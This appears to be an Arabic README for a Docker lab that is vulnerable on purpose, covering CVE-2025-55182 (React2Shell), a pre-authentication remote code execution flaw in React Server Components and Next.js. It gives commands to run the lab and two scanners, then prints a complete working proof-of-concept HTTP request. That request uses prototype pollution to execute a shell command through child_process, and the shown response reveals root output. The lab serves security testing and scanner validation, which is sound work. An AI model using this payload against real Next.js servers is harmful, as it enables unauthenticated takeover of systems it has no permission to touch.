
مختبر قائم على Docker لاكتشاف واستغلال CVE-2025-55182 (React2Shell RCE) في Next.js/React Server Components، مع إعداد ضعيف مُهيأ مسبقًا وماسحات PoC.
هذا المستودع يوفر بيئة مصغّرة قابلة للاختراق عمدًا لاختبار الماسحات الأمنية ضد الثغرة الحرجة الأخيرة لتنفيذ الأكواد عن بُعد (React2Shell) التي تؤثر على مكونات خادم React و Next.js.
CVE-2025-55182: توجد ثغرة تنفيذ أكواد عن بُعد قبل المصادقة في إصدارات React Server Components 19.0.0 و19.1.0 و19.1.1 و19.2.0 بما في ذلك الحزم التالية: react-server-dom-parcel وreact-server-dom-turbopack وreact-server-dom-webpack. يقوم الكود الهش بإلغاء تسلسل الحمولات الواردة من طلبات HTTP إلى نقاط نهاية Server Function بطريقة غير آمنة.
CVE-2025-66478: يتتبع التأثير الناتج على تطبيقات Next.js التي تستخدم موجّه التطبيقات (App Router).
[!Warning] هذا الإعداد هشّ عمدًا ويجب أبدًا تعريضه للإنترنت العام أو استخدامه في بيئة الإنتاج.
هذا التطبيق هو مشروع Next.js صغير جدًا يقوم بما يلي:
next: 16.0.6react: 19.2.0react-dom: 19.2.0[!TIP] تثبيت
reactوreact-domاختياري، لأن إصدارnextالمتأثر يكون عرضةً للثغرة افتراضيًا بسبب موجّه التطبيقات.
docker run --rm -p 127.0.0.1:3000:3000 ghcr.io/l4rm4nd/cve-2025-55182:latest
استخدم الماسح المقدَّم من AssetNote:
git clone https://github.com/assetnote/react2shell-scanner && cd react2shell-scanner
virtualenv venv && source venv/bin/activate && pip install -r requirements.txt
python3 scanner.py -u http://127.0.0.1:3000
سيُرجع:
╰─(venv) ⠠⠵ python3 scanner.py -u http://127.0.0.1:3000
brought to you by assetnote
[*] Loaded 1 host(s) to scan
[*] Using 10 thread(s)
[*] Timeout: 10s
[*] Using RCE PoC check
[!] SSL verification disabled
[VULNERABLE] http://127.0.0.1:3000 - Status: 303
nuclei -t ./nuclei-template/CVE-2025-55182.yaml -u http://127.0.0.1:3000
سيُرجع:
[INF] Templates loaded for current scan: 1
[WRN] Loading 1 unsigned templates for scan. Use with caution.
[INF] Targets loaded for current scan: 1
[CVE-2025-55182] [http] [critical] http://127.0.0.1:3000
حمولة HTTP الخاصة بـ PoC من هنا.
POST / HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 740
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"
[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--
سيُرجع:
HTTP/1.1 500 Internal Server Error
Vary: rsc, next-router-state-tree, next-router-prefetch, next-router-segment-prefetch, Accept-Encoding
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
x-nextjs-cache: HIT
x-nextjs-prerender: 1
Content-Type: text/x-component
Date: Fri, 05 Dec 2025 11:53:05 GMT
Connection: keep-alive
Keep-Alive: timeout=5
Content-Length: 195
0:{"a":"$@1","f":"","b":"PAoMR732SpRI6Xw9cbfbD"}
1:E{"digest":"uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)"}
